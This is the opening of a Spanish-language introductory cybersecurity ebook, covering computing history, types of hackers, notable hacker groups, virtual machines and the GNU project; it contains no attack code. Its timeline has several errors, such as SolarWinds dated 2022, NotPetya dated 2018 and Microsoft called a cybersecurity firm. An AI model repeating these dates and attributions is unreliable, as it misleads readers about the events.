Puerta Digital
Desbloquea el potencial del hacking
"Descubriendo la Ciberseguridad"
En las páginas que siguen, les damos la bienvenida a una
exploración única en el mundo de la ciberseguridad. En este
libro, el autor, @lun4tic4, un ingeniero en ciberseguridad
argentino, con un profundo conocimiento y una experiencia
independiente en el mundo del hacking, los llevará a través de
un viaje emocionante y enriquecedor.
Este libro es una creación única, ya que su autor, @lun4tic4,
ha logrado la hazaña de presentar no solo conceptos
introductorios, sino también contenido de nivel medio y
avanzado, todo en una sola obra. Su enfoque integral es el
resultado de su pasión por transmitir el conocimiento y
simplificar conceptos complejos para todos los lectores,
independientemente de su nivel de experiencia.
"Derechos de autor © 2023 por @lun4tic4. Reservados todos los
derechos. El material fue producido en Argentina. A menos que
cuente con mi autorización, queda prohibida la reproducción,
distribución o almacenamiento de este libro en cualquier
1
formato o sistema de base de datos.
Todas las marcas registradas mencionadas pertenecen a sus
respectivos propietarios. No se utilizarán símbolos de marcas
registradas en el texto, y los nombres se mencionan únicamente
con fines informativos, sin intención de infringir derechos de
marca. En caso de que aparezcan tales designaciones en el
libro, se hace de manera intencional.
TÉRMINOS DE USO: Este libro es propiedad exclusiva de
@lun4tic4. Está destinado a su disfrute personal y con fines
educativos. Queda prohibida su copia, distribución o uso
comercial sin mi previo consentimiento. Cualquier otro uso
está estrictamente prohibido, y el incumplimiento de estas
condiciones resultará en la pérdida de acceso al libro.
EL LIBRO SE PRESENTA "TAL CUAL". No ofrezco garantías
adicionales. No asumo responsabilidad por el funcionamiento o
la idoneidad del contenido. Tampoco se me puede
responsabilizar por la precisión o integridad de la
información proporcionada. Les invito a disfrutar de la
lectura con esta perspectiva."
CONTENIDOS DEL
2
LIBRO
Parte I: Hacking Introductorio
Capítulo 1: Maquinas Virtuales: Una introducción a las
máquinas virtuales y su importancia en el hacking.
Capítulo 2: GNU y su Taxonomía: Exploración de las
herramientas y recursos del proyecto GNU y su clasificación.
Capítulo 3: Instalación de Máquinas Virtuales: Guía detallada
para instalar y configurar máquinas virtuales.
Parte II: Plugins de Seguridad
Capítulo 4: Ciberseguridad en el Ámbito Defensivo: Enfoque en
la seguridad informática desde una perspectiva defensiva.
Capítulo 5: Ciberseguridad en el Ámbito Ofensivo: Exploración
de la ciberseguridad desde una perspectiva ofensiva.
Parte III: Aplicación Web de Vulnerabilidades
Vigentes
Capítulo 7: Bases de las vulnerabilidades Y HTTP
Capítulo 8: Capítulo 8: Introducción a una sesión de ataques y
detecciones de vulnerabilidades existentes
Parte IV: Man in the Middle (MITM)
3
Capítulo 9: Objetivos del MITM: Analizar los objetivos de un
ataque de Man in the Middle.
Capítulo 10: Términos del MITM: Definición de términos clave
relacionados con el MITM.
Capítulo 11: Acción Manual del MITM: Exploración de los
aspectos manuales del MITM.
Parte V: Hacking Web
Capítulo 12: Funcionamiento de las Redes: Comprender cómo
funcionan las redes.
Capítulo 13: Análisis Básico de Redes: Introducción al
análisis de redes.
Capítulo 14: Piggybacking con Privilegios: Técnicas de
aprovechamiento de privilegios.
Capítulo 15: Directorios de Vulnerabilidades Transversales
UNICODE: Exploración de vulnerabilidades transversales en
directorios Unicode.
Capítulo 16: Neighbor Spoofing: Tácticas de Neighbor Spoofing.
Capítulo 17: Web Proxy Autodiscovery: El descubrimiento
automático de servidores proxy web.
Capítulo 18: Servidores Rogue: Configuración y utilización de
servidores rogue.
Capítulo 19: Escaneo de Idle: Técnicas de escaneo en
situaciones de inactividad en redes.
Parte VI: Hacking de Servidores de Bases de Datos
Capítulo 20: Tipos de Ataques Dirigidos a Bases de Datos:
Exploración de diversas estrategias de ataque dirigidas a
servidores de bases de datos.
Capítulo 21: Bases de Datos Encriptadas: Consideraciones y
4
técnicas relacionadas con la encriptación de bases de datos.
Capítulo 22: Auditoría Selectiva de Oracle: Detalles sobre
cómo llevar a cabo auditorías selectivas en entornos de bases
de datos Oracle.
Capítulo 23: Análisis de Seguridad y Estructura de las Bases
de Datos: Un examen profundo de la seguridad y la estructura
de las bases de datos.
Parte VII: Algoritmos Criptográficos
Capítulo 24: Introducción y Fundamentos de la Criptografía:
Una introducción a la criptografía y sus fundamentos.
Capítulo 25: Cifrados Cuánticos : Exploración de cifrados
cuánticos en criptografía.
Parte I:
Hacking
5
Introductorio
La ingeniería informática es un campo multidisciplinario que
combina principios de ingeniería, matemáticas y ciencias de la
computación para diseñar, desarrollar y mantener sistemas de
información y tecnologías relacionadas. El término "ingeniería
informática" abarca una amplia gama de disciplinas, desde la
programación de software hasta la administración de redes y la
seguridad de la información.
La ingeniería informática es un campo que ha experimentado una
evolución fascinante a lo largo de las décadas. Su historia se
teje con avances tecnológicos, logros pioneros y desafíos
superados. Viajemos a través del tiempo para explorar la
cronología de la ingeniería informática, desde sus primeros
pasos hasta su papel fundamental en la sociedad moderna.
Década de 1940: Los Comienzos
1941: Konrad Zuse, un ingeniero alemán, crea la Z3, la primera
computadora electromecánica programable.
1943-1945: Durante la Segunda Guerra Mundial, se desarrollan
las máquinas criptográficas Colossus y Enigma, sentando las
bases de la criptografía y la seguridad informática.
1947: John Bardeen, Walter Brattain y William Shockley
inventan el transistor en los Laboratorios Bell, un avance
clave para la miniaturización de componentes electrónicos.
6
Década de 1950: La Era de las Computadoras
1951: La UNIVAC I (Universal Automatic Computer) se convierte
en la primera computadora comercialmente producida. Es
utilizada para cálculos científicos y aplicaciones
gubernamentales.
1956: IBM lanza la IBM 305 RAMAC, la primera computadora con
un disco duro.
1958: Jack Kilby de Texas Instruments inventa el circuito
integrado, un paso importante hacia la miniaturización de
componentes electrónicos.
Década de 1960: El Auge de la Informática
1964: Douglas Engelbart realiza la "Madre de todas las
demostraciones", presentando el mouse, la videoconferencia y
la hipertextualidad.
1969: ARPANET, la precursora de Internet, se pone en marcha.
Se conectan cuatro nodos de investigación.
1969: Ken Thompson y Dennis Ritchie crean el sistema operativo
UNIX, que influirá en futuros sistemas operativos, incluido
Linux.
Década de 1970: La Era de la Microcomputadora
1971: Intel lanza el primer microprocesador, el Intel 4004,
allanando el camino para las computadoras personales.
7
1973: Vint Cerf y Bob Kahn publican el primer documento sobre
el protocolo TCP/IP, un componente clave de Internet.
1975: Microsoft se funda y lanza el Altair BASIC, uno de los
primeros lenguajes de programación para computadoras
personales.
Década de 1980: El Auge de las Computadoras
Personales
1980: Apple lanza la Apple III y Commodore presenta la
Commodore VIC-20, marcando el inicio de la era de las
computadoras personales.
1983: ARPANET adopta oficialmente el protocolo TCP/IP,
consolidando las bases de Internet.
1984: Apple lanza la Macintosh, la primera computadora
personal con una interfaz gráfica de usuario.
Década de 1990: El Auge de Internet
1990: Tim Berners-Lee inventa la World Wide Web,
revolucionando la forma en que accedemos y compartimos
información en línea.
1991: Linus Torvalds crea el núcleo de Linux, un sistema
operativo de código abierto que se convierte en una
alternativa importante a sistemas comerciales.
1993: El navegador Mosaic introduce gráficos en la web,
8
allanando el camino para la explosión de sitios web
visualmente ricos.
Década de 2000: La Era de la Conectividad y la
Movilidad
2004: Mark Zuckerberg lanza Facebook, que se convierte en una
de las redes sociales más influyentes del mundo.
2007: Apple presenta el iPhone, desencadenando la revolución
de los smartphones y la computación móvil.
2009: Bitcoin, la primera criptomoneda, es creada por una
persona o grupo bajo el seudónimo de Satoshi Nakamoto.
Década de 2010: La Ciberseguridad y la Nube
2013: Edward Snowden revela programas de vigilancia masiva por
parte de agencias gubernamentales, generando un debate global
sobre la privacidad en línea.
2015: Los ataques cibernéticos de alto perfil, como el ataque
a Ashley Madison y el robo de datos de la Oficina de
Administración de Personal de EE. UU., resaltan la importancia
de la ciberseguridad.
2017: La inteligencia artificial y el aprendizaje automático
se utilizan en aplicaciones que van desde vehículos autónomos
hasta diagnósticos médicos.
Década de 2020: Avances y Desafíos
9
2020: La pandemia de COVID-19 acelera la adopción de la
telemedicina y el trabajo remoto, destacando la importancia de
la infraestructura digital.
2021: Los ataques de ransomware, como el ataque a Colonial
Pipeline, ponen de manifiesto la necesidad de una sólida
ciberseguridad en infraestructuras críticas.
2021: un ataque informático a la empresa de software Kaseya,
que proporciona software de gestión de TI a pequeñas y
medianas empresas, provocó que miles de empresas fueran
infectadas con ransomware. El ataque fue realizado por el
grupo de ransomware REvil.
2022: un ataque informático a la empresa de ciberseguridad
SolarWinds, que proporciona software a gobiernos y empresas de
todo el mundo, provocó que los datos de miles de
organizaciones fueran comprometidos. El ataque fue realizado
por un actor de amenazas patrocinado por el estado ruso.
2022: un ataque informático a la empresa de
telecomunicaciones Viasat, que proporciona servicios de
Internet a Ucrania y otros países, provocó que los servicios
de Internet se interrumpieran en Ucrania y otros países. El
ataque fue realizado por un actor de amenazas patrocinado por
el estado ruso.
2023: un ataque informático a la empresa de ciberseguridad
Microsoft, que proporciona software a gobiernos y empresas de
todo el mundo, provocó que los datos de miles de
organizaciones fueran comprometidos. El ataque fue realizado
por un actor de amenazas patrocinado por el estado ruso.
La ingeniería informática es un campo amplio y diverso que ha
dado lugar a numerosas subdisciplinas, cada una con su propio
10
enfoque y aplicaciones. A continuación, exploraremos algunas
de las principales subdisciplinas de la ingeniería informática
y sus respectivos ámbitos de estudio:
1. Ingeniería de Software:
La ingeniería de software se centra en el desarrollo de
aplicaciones y sistemas informáticos. Los ingenieros de
software diseñan, construyen y mantienen programas y
aplicaciones que van desde aplicaciones móviles y sistemas
operativos hasta software de gestión empresarial. Esta
subdisciplina es esencial para garantizar que el software
funcione de manera eficiente y cumpla con los requisitos de
los usuarios.
2. Ingeniería de Redes:
La ingeniería de redes se dedica a la gestión de la
conectividad y la transferencia de datos. Los ingenieros de
redes diseñan, implementan y mantienen infraestructuras de red
que permiten la comunicación eficaz entre dispositivos y
sistemas. Esto incluye la configuración de redes locales
(LAN), redes de área amplia (WAN) e incluso redes
inalámbricas.
3. Ciberseguridad:
La ciberseguridad es una subdisciplina crítica de la
ingeniería informática que se enfoca en proteger sistemas,
redes y datos contra amenazas y ataques cibernéticos. Los
profesionales de la ciberseguridad trabajan para identificar
vulnerabilidades, implementar medidas de seguridad y responder
a incidentes de seguridad para garantizar la integridad y la
privacidad de la información.
11
4. Inteligencia Artificial (IA):
La inteligencia artificial busca crear sistemas con capacidad
de aprendizaje y toma de decisiones. Esta subdisciplina abarca
áreas como el aprendizaje automático, el procesamiento del
lenguaje natural, la visión por computadora y la robótica. Los
sistemas de IA se utilizan en una variedad de aplicaciones,
desde asistentes virtuales hasta vehículos autónomos.
5. Ingeniería de Sistemas:
La ingeniería de sistemas se centra en el diseño y la gestión
de sistemas complejos. Los ingenieros de sistemas trabajan en
proyectos que involucran múltiples componentes
interconectados, desde sistemas de defensa hasta sistemas de
transporte masivo. Su objetivo es garantizar que todos los
elementos del sistema funcionen de manera armoniosa y cumplan
con los objetivos del proyecto.
6. Computación en la Nube:
La computación en la nube implica el suministro de servicios y
recursos informáticos a través de internet. Los profesionales
de esta subdisciplina diseñan, implementan y administran
infraestructuras de nube que permiten a las organizaciones
acceder a recursos computacionales de manera eficiente y
escalable.
La Ciberseguridad y su Importancia
La ciberseguridad es una rama crítica de la ingeniería
informática que se centra en proteger sistemas, redes y datos
contra amenazas y ataques cibernéticos. Su importancia en el
mundo actual es fundamental, ya que la mayoría de las
12
actividades diarias dependen de sistemas de información y
comunicación en línea.
Dependencia de la Tecnología: En la actualidad, la mayoría de
las actividades humanas están respaldadas por sistemas de
información y comunicación en línea. Desde la comunicación
personal y laboral hasta la gestión de infraestructuras
críticas como la energía, el agua y el transporte, todo
depende de la tecnología digital. La interconexión y la
automatización han mejorado nuestras vidas, pero también han
creado una superficie expuesta a ataques.
Crecimiento Exponencial de Datos: La cantidad de datos
generados, transmitidos y almacenados en línea ha crecido
exponencialmente. Desde información personal y financiera
hasta datos gubernamentales y empresariales confidenciales, la
protección de estos activos es esencial para evitar el robo,
la destrucción o el acceso no autorizado.
Evolución de las Amenazas: Las amenazas cibernéticas han
evolucionado en sofisticación y alcance. Desde virus y malware
hasta ataques de ingeniería social y ransomware, los
ciberdelincuentes han encontrado formas cada vez más
ingeniosas de explotar vulnerabilidades y obtener ganancias.
La ciberseguridad se ha convertido en una carrera
armamentística digital en la que la defensa y la prevención
son fundamentales.
Protección de la Privacidad: La ciberseguridad desempeña un
papel esencial en la protección de la privacidad de las
personas. La información personal y sensible debe permanecer
confidencial y protegida contra el acceso no autorizado. La
falta de ciberseguridad puede resultar en violaciones masivas
de la privacidad y daños significativos.
Estabilidad de Infraestructuras Críticas: Las
infraestructuras críticas, como centrales eléctricas, sistemas
de suministro de agua y sistemas de transporte, dependen de la
tecnología digital para operar eficientemente. La
13
vulnerabilidad de estas infraestructuras a ataques
cibernéticos puede tener consecuencias devastadoras para la
sociedad en general.
Impacto Económico: Los ataques cibernéticos pueden causar
pérdidas económicas significativas para las empresas y las
naciones. La interrupción de operaciones comerciales, el robo
de propiedad intelectual y la degradación de la reputación de
una empresa pueden resultar en costos sustanciales.
Seguridad Nacional: La ciberseguridad es un componente
crítico de la seguridad nacional. Los ciberataques pueden ser
utilizados como herramientas de guerra cibernética, y la
protección de las redes de comunicación, la infraestructura
militar y la información clasificada es esencial para la
seguridad de un país.
Historia de la Ciberseguridad: La ciberseguridad ha
evolucionado en respuesta a la creciente sofisticación de las
amenazas cibernéticas. Desde los primeros virus informáticos
hasta los ataques de ransomware modernos, la ciberseguridad ha
tenido que adaptarse y desarrollar nuevas estrategias para
mantener la integridad de los sistemas.
Década de 1960: Los Primeros Pasos
A fines de la década de 1960, la informática estaba en sus
primeros días, y la idea de la ciberseguridad era incipiente.
Los sistemas eran en gran medida sistemas cerrados y
autocontenidos, y la principal preocupación era la seguridad
física de las computadoras. Sin embargo, en este período
temprano, surgieron algunos de los primeros ejemplos de
ataques cibernéticos. Un ejemplo notable es el "gusano
Creeper", un programa de computadora que se propagó a través
de la red ARPANET y fue uno de los primeros virus informáticos
documentados.
14
Década de 1970: Los Primeros Virus Informáticos
A medida que las computadoras se volvieron más
interconectadas, comenzaron a surgir los primeros virus
informáticos. En 1971, el ingeniero informático Bob Thomas
creó el "gusano Creeper", que se considera uno de los primeros
virus. No era un virus en el sentido moderno, ya que no dañaba
ni robaba datos, pero su propagación marcó el inicio de una
nueva era.
Década de 1980: La Era de los Virus y los Gusanos
La década de 1980 presenció un aumento en la proliferación de
virus y gusanos informáticos. Uno de los primeros virus
dañinos conocidos, el "Virus Brain", se propagó a través de
disquetes. Luego, en 1988, apareció el primer gusano de
Internet, el "Gusano Morris". Este gusano causó daños en la
incipiente ARPANET y se convirtió en el primer caso de condena
bajo la Ley de Fraude y Abuso de Computadoras.
Década de 1990: El Auge de Internet y la Ciberseguridad
A medida que Internet se expandía rápidamente en la década de
1990, las amenazas cibernéticas se volvieron más sofisticadas.
El virus "Melissa" en 1999 se propagó rápidamente a través del
correo electrónico, causando problemas en todo el mundo. Las
empresas y organizaciones comenzaron a reconocer la
importancia de la ciberseguridad y establecieron equipos
dedicados para abordar estas amenazas.
Década de 2000: La Era de los Ataques de Gran Escala
La década de 2000 trajo consigo una serie de ataques
cibernéticos a gran escala que captaron la atención del mundo.
El virus "ILOVEYOU" en 2000 afectó a millones de computadoras
en todo el mundo. Luego, en 2008, el gusano "Conficker" se
propagó a una escala masiva, afectando incluso a sistemas
15
gubernamentales y militares.
Década de 2010: La Profesionalización de la Ciberdelincuencia
La década de 2010 presenció un aumento en la
profesionalización de la ciberdelincuencia. Los ataques de
ransomware, como "WannaCry" en 2017 y "NotPetya" en 2018,
demostraron que los ciberdelincuentes estaban utilizando
técnicas avanzadas para extorsionar a organizaciones. Además,
los ataques estatales y la ciberespionaje se convirtieron en
una preocupación global.
¿Qué es un Hacker?
El término "hacker" es ampliamente reconocido en la era
digital, pero su significado puede variar según el contexto.
En su forma más general, un hacker es alguien con un profundo
conocimiento de sistemas informáticos y redes, que utiliza
esta habilidad para explorar y modificar estos sistemas. Sin
embargo, es importante destacar que existen diferentes tipos
de hackers, cada uno con un enfoque distinto. Aquí
exploraremos qué es un hacker, el origen del término y los
tipos más comunes.
Origen del Término "Hacker":
El término "hacker" tiene sus raíces en el Instituto
Tecnológico de Massachusetts (MIT) a principios de la década
de 1960. En ese contexto, "hack" se refería a una solución
ingeniosa y efectiva para un problema técnico. Los hackers
eran personas apasionadas por explorar sistemas informáticos y
encontrar soluciones creativas para desafíos técnicos. No se
trataba de actividades maliciosas, sino de un espíritu de
curiosidad y resolución.
16
Con el tiempo, el término "hacker" se diversificó en
diferentes categorías, que incluyen:
White Hat Hackers:
También conocidos como "sombreros blancos", estos hackers son
los buenos de la historia. Trabajan con permiso para
identificar vulnerabilidades en sistemas y redes, ayudando a
fortalecer la seguridad. Son expertos en ciberseguridad ética
y su objetivo es proteger, no dañar.
Black Hat Hackers:
Los "sombreros negros" son hackers maliciosos. Realizan
actividades ilegales, como el robo de datos, la destrucción de
sistemas o el secuestro de información para beneficio propio o
dañar a otros. Son responsables de muchos de los ciberataques
más conocidos.
Red Teams:
Los equipos de "red team" son grupos organizados que simulan
ataques cibernéticos contra sistemas, redes o infraestructuras
para evaluar su seguridad. Trabajan para identificar
vulnerabilidades y puntos débiles en un enfoque de defensa
realista.
Blue Teams:
Los equipos de "blue team" son los defensores. Trabajan en
organizaciones para proteger sistemas y redes contra amenazas
17
cibernéticas. Colaboran con los red teams para fortalecer la
ciberseguridad.
Green Hat Hackers:
El término "green hat" no es tan común, pero a menudo se
utiliza para referirse a hackers novatos o principiantes que
están en proceso de aprendizaje y desarrollo de sus
habilidades.
Gray Hat Hackers:
Los "sombreros grises" se sitúan entre los sombreros blancos y
negros. Realizan actividades sin autorización, pero no
necesariamente con intenciones maliciosas. A menudo, revelan
vulnerabilidades a los propietarios de sistemas después de
explotarlas, lo que puede ser un acto de ciberseguridad ética.
Hacktivistas:
Los hacktivistas son hackers que usan sus habilidades para
avanzar en causas políticas o sociales. Pueden llevar a cabo
acciones cibernéticas en apoyo a una causa específica.
En resumen, el término "hacker" abarca una amplia gama de
individuos con diferentes motivaciones y éticas. La diversidad
de hackers refleja la complejidad del mundo digital en el que
vivimos, donde la ciberseguridad y la ética desempeñan un
papel fundamental en la distinción entre el bien y el mal en
el ciberespacio.
Ciberterroristas:
Los ciberterroristas son individuos o grupos que utilizan la
tecnología y la ciberdelincuencia como herramientas para
18
promover el terrorismo y causar daño a gran escala. Sus
actividades incluyen ataques cibernéticos destinados a
desestabilizar la infraestructura crítica, comprometer la
seguridad nacional o difundir propaganda extremista. Los
ciberterroristas pueden emplear diversas tácticas, como la
distribución de malware, ataques de negación de servicio
(DDoS), hacktivismo violento y la difusión de mensajes
radicales en línea.
A lo largo de la historia, se han identificado varios grupos
ciberterroristas y ciberdelincuentes con diferentes niveles de
notoriedad y sofisticación en sus actividades. Entre ellos,
algunos de los grupos ciberterroristas y ciberdelincuentes más
destacados incluyen:
Anonymous:
Anonymous es un grupo descentralizado de hackers y activistas
cibernéticos conocidos por sus operaciones de hacktivismo. Han
llevado a cabo acciones en una variedad de temas, desde la
censura en línea hasta los derechos humanos.
APT29 (Cozy Bear):
19
Cozy Bear es otro grupo de ciberespionaje ruso, a menudo
asociado con el gobierno ruso. Se les ha acusado de llevar a
cabo operaciones de hackeo dirigidas a agencias
gubernamentales y organizaciones internacionales.
Lazarus Group:
Este grupo ciberterrorista, presuntamente con origen en Corea
del Norte, ha llevado a cabo operaciones de hackeo para robar
fondos, desestabilizar naciones y realizar espionaje
cibernético.
Hezbollah Cyber Unit:
20
Hezbollah, una organización militante con sede en el Líbano,
ha desarrollado capacidades cibernéticas y un grupo de hackers
que se cree que está involucrado en actividades de
ciberespionaje y hackeo.
Ayyildiz Team:
Ayyildiz Team es un grupo de hacktivistas turcos que han
llevado a cabo acciones en línea en apoyo de causas turcas.
Sus actividades pueden variar desde la defensa de la política
gubernamental hasta ataques contra objetivos extranjeros.
Turkish Crime Family:
21
Turkish Crime Family es un grupo de hackers que ha afirmado
tener acceso a bases de datos de grandes servicios en línea y
ha amenazado con exponer información confidencial a menos que
se les pague un rescate.
Anti-Armenia Team:
Anti-Armenia Team es un grupo que ha estado involucrado en
actividades cibernéticas relacionadas con el conflicto entre
Armenia y Azerbaiyán. Sus acciones han incluido ataques DDoS y
la difusión de propaganda.
LulzSec:
LulzSec, un grupo de hackers conocido por llevar a cabo
operaciones de hackeo por diversión, se ha involucrado en
actividades que van desde la infiltración de redes de medios
de comunicación hasta la divulgación de información
confidencial.
22
Capítulo 1:
maquinas virtuales
Introducción:
En la era digital, la informática desempeña un papel
fundamental en nuestra vida cotidiana. La ingeniería
informática, una disciplina que abarca una amplia gama de
conocimientos y tecnologías, se ha convertido en un pilar en
la evolución de la tecnología y la sociedad. Uno de los
conceptos más poderosos y versátiles dentro de la informática
es el de las "máquinas virtuales". Estas máquinas, que operan
dentro de una capa de software, han transformado la
informática y han tenido un impacto significativo en la
eficiencia, la seguridad y la flexibilidad de los sistemas y
aplicaciones informáticas.
En este capítulo, exploraremos en profundidad qué son las
máquinas virtuales, cómo funcionan y por qué son esenciales en
el mundo actual de la informática. Desde su concepción hasta
su uso en una amplia variedad de aplicaciones, las máquinas
virtuales se han convertido en una herramienta esencial tanto
para desarrolladores como para administradores de sistemas.
Comencemos nuestro viaje hacia el mundo de las máquinas
virtuales.
23
Teoría acerca de las Máquinas Virtuales:
En el mundo de la informática, las máquinas virtuales (MV) son
una manifestación de la virtualización, un concepto que
revoluciona la gestión de recursos computacionales. Aunque no
son entidades físicas, las MVs reproducen la funcionalidad de
sistemas informáticos independientes a través de un entorno de
software. Este logro se traduce en una flexibilidad y
eficiencia sin precedentes en el ámbito de la informática.
La esencia de las MVs radica en su capacidad para recrear
sistemas operativos y entornos de software completos dentro de
un entorno aislado y controlado. Esto se logra a través de un
componente central conocido como "hipervisor", una capa de
software que actúa como intermediario entre el hardware físico
del servidor (el anfitrión) y las múltiples instancias
virtuales (los invitados).
Hipervisor y Virtualización:
El hipervisor, una tecnología fundamental en la
virtualización, desempeña un papel crucial en la gestión de
recursos y la creación de máquinas virtuales (MVs). Existen
dos tipos principales de hipervisores:
Hipervisor de Tipo 1 (Bare-Metal): Este tipo de hipervisor se
ejecuta directamente en el hardware físico del servidor, sin
requerir un sistema operativo anfitrión. Esto proporciona un
nivel superior de eficiencia y aislamiento, ya que las MVs
interactúan directamente con el hardware subyacente.
Hipervisor de Tipo 2 (Hosted): Este hipervisor se ejecuta en
un sistema operativo anfitrión existente. Aunque es más
sencillo de implementar, no ofrece el mismo nivel de
24
rendimiento y aislamiento que el hipervisor de tipo 1.
La virtualización se basa en la abstracción de hardware, donde
el hipervisor simula recursos físicos, como CPU, memoria y
dispositivos de almacenamiento, para asignarlos a las MVs.
Cada MV opera en su propio entorno aislado, lo que garantiza
que no interfieran entre sí. La tecnología de virtualización
ha evolucionado para admitir una amplia variedad de sistemas
operativos invitados, lo que permite ejecutar sistemas
Windows, Linux u otros sistemas en una única infraestructura
física.
Sistemas de Gestión de Hipervisores:
La administración de hipervisores es fundamental para
implementar y gestionar MVs. Para ello, se utilizan sistemas
de gestión de hipervisores que proporcionan una interfaz
centralizada para crear, supervisar y administrar MVs.
Ejemplos populares incluyen VMware vSphere, Microsoft Hyper-V,
y KVM (Kernel-based Virtual Machine) para entornos Linux.
Recursos Compartidos y Aislamiento:
La virtualización permite la consolidación de recursos en un
servidor físico compartido. Sin embargo, es fundamental
garantizar el aislamiento efectivo entre MVs para evitar
conflictos. Para lograr esto, se utilizan técnicas como la
asignación de recursos (por ejemplo, cuotas de CPU y límites
de memoria) y la segmentación de redes para garantizar que
cada MV tenga acceso a los recursos necesarios sin afectar a
las demás.
Migración y Tolerancia a Fallos:
La virtualización permite la migración en caliente de MVs, lo
que significa que una MV puede transferirse de un servidor
25
físico a otro sin interrupción del servicio. Esto es útil para
el equilibrio de carga y la administración de recursos.
Además, se pueden implementar estrategias de tolerancia a
fallos, donde una MV se puede recuperar automáticamente en
otro servidor en caso de problemas en el servidor de origen.
Ventajas de las Máquinas Virtuales:
Aislamiento y Seguridad: Las MVs se ejecutan en entornos
aislados, lo que garantiza que los problemas en una MV no
afecten a otras. Esto mejora la seguridad y la confiabilidad.
Consolidación de Servidores: La virtualización permite la
consolidación de servidores físicos, lo que ahorra espacio,
energía y costos operativos.
Desarrollo y Pruebas: Las MVs son ideales para el desarrollo y
las pruebas de software, ya que se pueden clonar fácilmente
para crear entornos idénticos.
Recuperación ante Desastres: Las MVs se pueden respaldar y
restaurar con facilidad, lo que facilita la recuperación ante
desastres.
Flexibilidad: Las MVs se pueden migrar entre servidores
físicos sin interrupción, lo que brinda flexibilidad en la
gestión de recursos.
26
Capítulo 2:
GNU y su Taxonomía
Para entender completamente lo que es un "GNU", primero
debemos sumergirnos en la rica historia y filosofía que
subyacen en este término. "GNU" es una sigla recursiva que
significa "GNU's Not Unix". Fue acuñada por el destacado
programador y defensor del software libre, Richard Stallman, a
principios de la década de 1980. Sin embargo, la definición de
GNU va más allá de un simple acrónimo; representa un
movimiento y una filosofía que han tenido un profundo impacto
en el mundo del software y la informática en general.
Historia del GNU:
El GNU Project se originó en un momento crucial de la historia
de la informática. A fines de la década de 1970 y principios
de la década de 1980, la comunidad de programadores se
encontró en una encrucijada. A medida que la tecnología
avanzaba, el software propietario se volvía cada vez más
común, lo que significaba que el código fuente de los
programas estaba cerrado y no accesible para su modificación.
Esto era una afrenta a la cultura de la informática, que
siempre había abrazado la colaboración, el intercambio de
conocimientos y la apertura.
27
Richard Stallman, un programador del Laboratorio de
Inteligencia Artificial del MIT, se sintió profundamente
inquieto por esta tendencia y decidió tomar medidas. En 1983,
lanzó el Proyecto GNU con el objetivo de crear un sistema
operativo completo y libre, compatible con Unix. El corazón de
este proyecto era el concepto del "software libre", que se
refiere a la libertad de usar, estudiar, modificar y
distribuir el software.
La Taxonomía de GNU:
Dentro del proyecto GNU, se desarrollaron una serie de
herramientas y componentes esenciales que se combinaron para
crear un sistema operativo completo. Algunos de los elementos
más notables incluyen:
GCC (GNU Compiler Collection): Un conjunto de compiladores que
permiten la creación de programas en una variedad de lenguajes
de programación.
GNU Emacs: Un potente editor de texto extensible que se ha
convertido en una herramienta esencial para programadores.
GNU Bash: Un intérprete de comandos que proporciona una
interfaz para interactuar con el sistema operativo.
GNU Core Utilities: Un conjunto de utilidades básicas que
incluye comandos como ls, cp y mv.
GNU Make: Una herramienta para automatizar la compilación de
programas.
GNU GPL (General Public License): Una licencia que garantiza
las libertades fundamentales del software libre.
28
Estos son solo algunos ejemplos de las contribuciones del
proyecto GNU, que ha creado un ecosistema de software libre
que ha influido en innumerables proyectos y sistemas
operativos, incluyendo el popular sistema GNU/Linux.
Cómo un GNU Influye en un Sistema Operativo y lo
que Hace:
El impacto de un proyecto GNU en un sistema operativo es
significativo, ya que proporciona un conjunto fundamental de
herramientas y filosofía que dan forma a cómo se desarrolla,
opera y evoluciona ese sistema operativo. Veamos cómo un GNU
influye en un sistema operativo y lo que hace:
Componentes y Herramientas Fundamentales:
Un proyecto GNU proporciona componentes esenciales que son
necesarios para que un sistema operativo funcione
correctamente. Estos componentes incluyen un compilador (GCC),
intérpretes de comandos (como Bash), editores de texto (GNU
Emacs) y utilidades básicas del sistema (Core Utilities).
Estas herramientas son esenciales para el funcionamiento
diario del sistema y para el desarrollo de software.
Interoperabilidad:
Un proyecto GNU se adhiere a los estándares y especificaciones
abiertos, lo que facilita la interoperabilidad con otros
sistemas y aplicaciones. Esto significa que los sistemas
basados en GNU pueden interactuar con una variedad de hardware
y software, lo que los hace versátiles y ampliamente
compatibles.
29
Filosofía del Software Libre:
El proyecto GNU aboga por la filosofía del software libre, que
promueve cuatro libertades fundamentales: la libertad de usar
el software para cualquier propósito, la libertad de estudiar
cómo funciona el software y adaptarlo, la libertad de
distribuir copias del software y la libertad de mejorar el
software y compartir esas mejoras con la comunidad. Esta
filosofía se integra en el ADN de los sistemas operativos
basados en GNU y promueve la transparencia y la colaboración.
Licencias GNU:
El proyecto GNU ha desarrollado una serie de licencias, siendo
la más famosa la Licencia Pública General de GNU (GNU GPL).
Estas licencias aseguran que el software basado en GNU sea de
código abierto y que las libertades del software libre se
mantengan intactas. Esto permite a los usuarios modificar,
compartir y redistribuir el software sin restricciones, lo que
fomenta la innovación y la comunidad.
Cómo se Manifiesta el GNU:
El proyecto GNU se manifiesta de diversas formas en el mundo
de la informática y el software. A continuación, exploraremos
las principales manifestaciones del GNU:
Sistema Operativo GNU/Linux:
El ejemplo más destacado de la manifestación del GNU es el
sistema operativo GNU/Linux, comúnmente conocido como Linux.
Aunque el núcleo del sistema (Linux) es uno de los componentes
clave, el sistema operativo completo es una combinación de
Linux y las herramientas y utilidades esenciales
proporcionadas por el proyecto GNU. Esto incluye el shell
(Bash), el compilador (GCC), las utilidades de línea de
30
comandos, los editores de texto y muchas otras piezas de
software. GNU/Linux es un sistema operativo de código abierto
y gratuito que se utiliza en una amplia variedad de
aplicaciones, desde servidores hasta dispositivos móviles.
Cuerpo de un GNU:
Núcleo (Kernel)
El núcleo del GNU (GNU Kernel) es una parte fundamental que
actúa como el corazón del sistema operativo. Es responsable de
la administración de recursos del hardware, la programación de
tareas y la interacción con el hardware subyacente. Aunque el
núcleo más conocido es el núcleo Linux, el proyecto GNU ha
desarrollado su propio núcleo llamado Hurd. El núcleo se
encarga de la comunicación entre el software y el hardware.
Herramientas del Sistema
Las herramientas del sistema son componentes esenciales que
incluyen utilidades de línea de comandos, bibliotecas
compartidas y servicios del sistema. Entre las herramientas
más destacadas se encuentra el intérprete de comandos Bash,
que permite a los usuarios interactuar con el sistema y
ejecutar comandos. Las bibliotecas compartidas, como la GNU C
Library (glibc), proporcionan funciones y rutinas comunes que
los programas utilizan para interactuar con el sistema.
Compiladores y Lenguajes de Programación
